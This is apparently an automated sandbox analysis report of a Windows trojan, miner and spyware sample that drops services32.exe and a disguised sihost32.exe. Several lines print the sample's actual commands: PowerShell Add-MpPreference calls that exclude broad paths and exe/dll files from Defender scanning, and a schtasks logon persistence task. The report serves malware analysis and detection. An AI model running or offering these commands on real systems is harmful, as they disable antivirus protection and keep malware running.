Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2EC8 19_2_00007FFA35FF2EC8
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF86D2 19_2_00007FFA35FF86D2
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0ECC 19_2_00007FFA35FF0ECC
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF16CA 19_2_00007FFA35FF16CA
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5708 19_2_00007FFA35FF5708
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1F29 19_2_00007FFA35FF1F29
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF8F28 19_2_00007FFA35FF8F28
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF371B 19_2_00007FFA35FF371B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5F2F 19_2_00007FFA35FF5F2F
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1744 19_2_00007FFA35FF1744
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF673A 19_2_00007FFA35FF673A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5788 19_2_00007FFA35FF5788
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36006796 19_2_00007FFA36006796
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0F95 19_2_00007FFA35FF0F95
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF27A9 19_2_00007FFA35FF27A9
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF37A1 19_2_00007FFA35FF37A1
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA360057DA 19_2_00007FFA360057DA
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF580A 19_2_00007FFA35FF580A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF4831 19_2_00007FFA35FF4831
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1840 19_2_00007FFA35FF1840
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF504B 19_2_00007FFA35FF504B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF8865 19_2_00007FFA35FF8865
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2861 19_2_00007FFA35FF2861
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF105B 19_2_00007FFA35FF105B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3878 19_2_00007FFA35FF3878
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFE06D 19_2_00007FFA35FFE06D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF087F 19_2_00007FFA35FF087F
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3090 19_2_00007FFA35FF3090
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFF8AB 19_2_00007FFA35FFF8AB
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF34BE 19_2_00007FFA35FF34BE
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA3600ACC0 19_2_00007FFA3600ACC0
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF44D3 19_2_00007FFA35FF44D3
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF4CDF 19_2_00007FFA35FF4CDF
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF24F3 19_2_00007FFA35FF24F3
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1515 19_2_00007FFA35FF1515
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF7511 19_2_00007FFA35FF7511
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5D22 19_2_00007FFA35FF5D22
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFCD46 19_2_00007FFA35FFCD46
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA3600AD61 19_2_00007FFA3600AD61
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFCD70 19_2_00007FFA35FFCD70
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF256B 19_2_00007FFA35FF256B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36000D89 19_2_00007FFA36000D89
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2D7F 19_2_00007FFA35FF2D7F
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF4D7A 19_2_00007FFA35FF4D7A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5D92 19_2_00007FFA35FF5D92
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF35A3 19_2_00007FFA35FF35A3
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1DC4 19_2_00007FFA35FF1DC4
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF25D2 19_2_00007FFA35FF25D2
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF45CD 19_2_00007FFA35FF45CD
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF55E1 19_2_00007FFA35FF55E1
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF4DF1 19_2_00007FFA35FF4DF1
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF15FD 19_2_00007FFA35FF15FD
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3612 19_2_00007FFA35FF3612
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5E20 19_2_00007FFA35FF5E20
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF6621 19_2_00007FFA35FF6621
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF262B 19_2_00007FFA35FF262B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0E47 19_2_00007FFA35FF0E47
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF464A 19_2_00007FFA35FF464A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFBF50 19_2_00007FFA35FFBF50
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5671 19_2_00007FFA35FF5671
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3E81 19_2_00007FFA35FF3E81
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3699 19_2_00007FFA35FF3699
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5EB5 19_2_00007FFA35FF5EB5
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF26B0 19_2_00007FFA35FF26B0
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF66B0 19_2_00007FFA35FF66B0
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1EB1 19_2_00007FFA35FF1EB1
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2B08 19_2_00007FFA35FF2B08
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF6B13 19_2_00007FFA35FF6B13
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36005B1E 19_2_00007FFA36005B1E
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1B1D 19_2_00007FFA35FF1B1D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0345 19_2_00007FFA35FF0345
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF435E 19_2_00007FFA35FF435E
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA3600A375 19_2_00007FFA3600A375
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF6380 19_2_00007FFA35FF6380
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36005B7D 19_2_00007FFA36005B7D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF138D 19_2_00007FFA35FF138D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF839E 19_2_00007FFA35FF839E
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2BD4 19_2_00007FFA35FF2BD4
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF53CC 19_2_00007FFA35FF53CC
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA360013E5 19_2_00007FFA360013E5
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3BF9 19_2_00007FFA35FF3BF9
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF33F1 19_2_00007FFA35FF33F1
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2405 19_2_00007FFA35FF2405
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF4C03 19_2_00007FFA35FF4C03
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5C12 19_2_00007FFA35FF5C12
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36001410 19_2_00007FFA36001410
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36005C29 19_2_00007FFA36005C29
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF443B 19_2_00007FFA35FF443B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF544F 19_2_00007FFA35FF544F
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2C4A 19_2_00007FFA35FF2C4A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3C5E 19_2_00007FFA35FF3C5E
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFCC75 19_2_00007FFA35FFCC75
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1C81 19_2_00007FFA35FF1C81
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5C8A 19_2_00007FFA35FF5C8A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0C9D 19_2_00007FFA35FF0C9D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF68C9 19_2_00007FFA35FF68C9
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF00E8 19_2_00007FFA35FF00E8
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF20DF 19_2_00007FFA35FF20DF
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5902 19_2_00007FFA35FF5902
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1914 19_2_00007FFA35FF1914
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA3600C11D 19_2_00007FFA3600C11D
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1146 19_2_00007FFA35FF1146
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF293B 19_2_00007FFA35FF293B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3958 19_2_00007FFA35FF3958
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5152 19_2_00007FFA35FF5152
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF6963 19_2_00007FFA35FF6963
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFBF58 19_2_00007FFA35FFBF58
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF0180 19_2_00007FFA35FF0180
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FFA996 19_2_00007FFA35FFA996
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF1991 19_2_00007FFA35FF1991
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF319A 19_2_00007FFA35FF319A
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF21B9 19_2_00007FFA35FF21B9
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF11BF 19_2_00007FFA35FF11BF
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA360051E8 19_2_00007FFA360051E8
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF39E0 19_2_00007FFA35FF39E0
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF41E0 19_2_00007FFA35FF41E0
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF61EF 19_2_00007FFA35FF61EF
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA36010A39 19_2_00007FFA36010A39
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF122B 19_2_00007FFA35FF122B
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5260 19_2_00007FFA35FF5260
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF2A97 19_2_00007FFA35FF2A97
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF3A97 19_2_00007FFA35FF3A97
Source: C:\Windows\System32\services32.exe Code function: 19_2_00007FFA35FF5AA1 19_2_00007FFA35FF5AA1
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Code function: 29_2_00007FFA360043D6 29_2_00007FFA360043D6
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Code function: 29_2_00007FFA36005182 29_2_00007FFA36005182
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Code function: 29_2_00007FFA36000098 29_2_00007FFA36000098
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Code function: 29_2_00007FFA36000095 29_2_00007FFA36000095
Uses 32bit PE files
Source: YfTokH7RIj.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\fl.exe File created: C:\Windows\system32\services32.exe Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7DC4C SetFocus,SendMessageA,DestroyWindow,DestroyWindow,DestroyWindow,DestroyWindow,NtdllDefWindowProc_A, 0_2_00D7DC4C
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D70270: CreateFileA,DeviceIoControl,CloseHandle, 0_2_00D70270
PE file does not import any functions
Source: sihost32.exe.19.dr Static PE information: No import functions for PE file found
Source: fl.exe.0.dr Static PE information: No import functions for PE file found
Source: services32.exe.7.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: YfTokH7RIj.exe Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp Binary or memory string: OriginalFilenameSV vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726954791.00000000038AF000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.700874703.000000000716E000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.716576999.0000000000426000.00000080.00020000.sdmp Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.648331648.0000000002680000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.732563568.000000000716E000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: YfTokH7RIj.exe Static PE information: Section: ZLIB complexity 1.00056966146
Source: YfTokH7RIj.exe Static PE information: Section: ZLIB complexity 1.0107421875
Source: YfTokH7RIj.exe Static PE information: Section: ZLIB complexity 1.004296875
Source: YfTokH7RIj.exe Static PE information: Section: ZLIB complexity 1.021484375
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File created: C:\Users\user\AppData\Local\Yandex Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.mine.winEXE@37/25@4/3
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: YfTokH7RIj.exe Virustotal: Detection: 40%
Source: YfTokH7RIj.exe ReversingLabs: Detection: 48%
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\YfTokH7RIj.exe "C:\Users\user\Desktop\YfTokH7RIj.exe"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Source: unknown Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe" Jump to behavior
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\fl.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\services32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
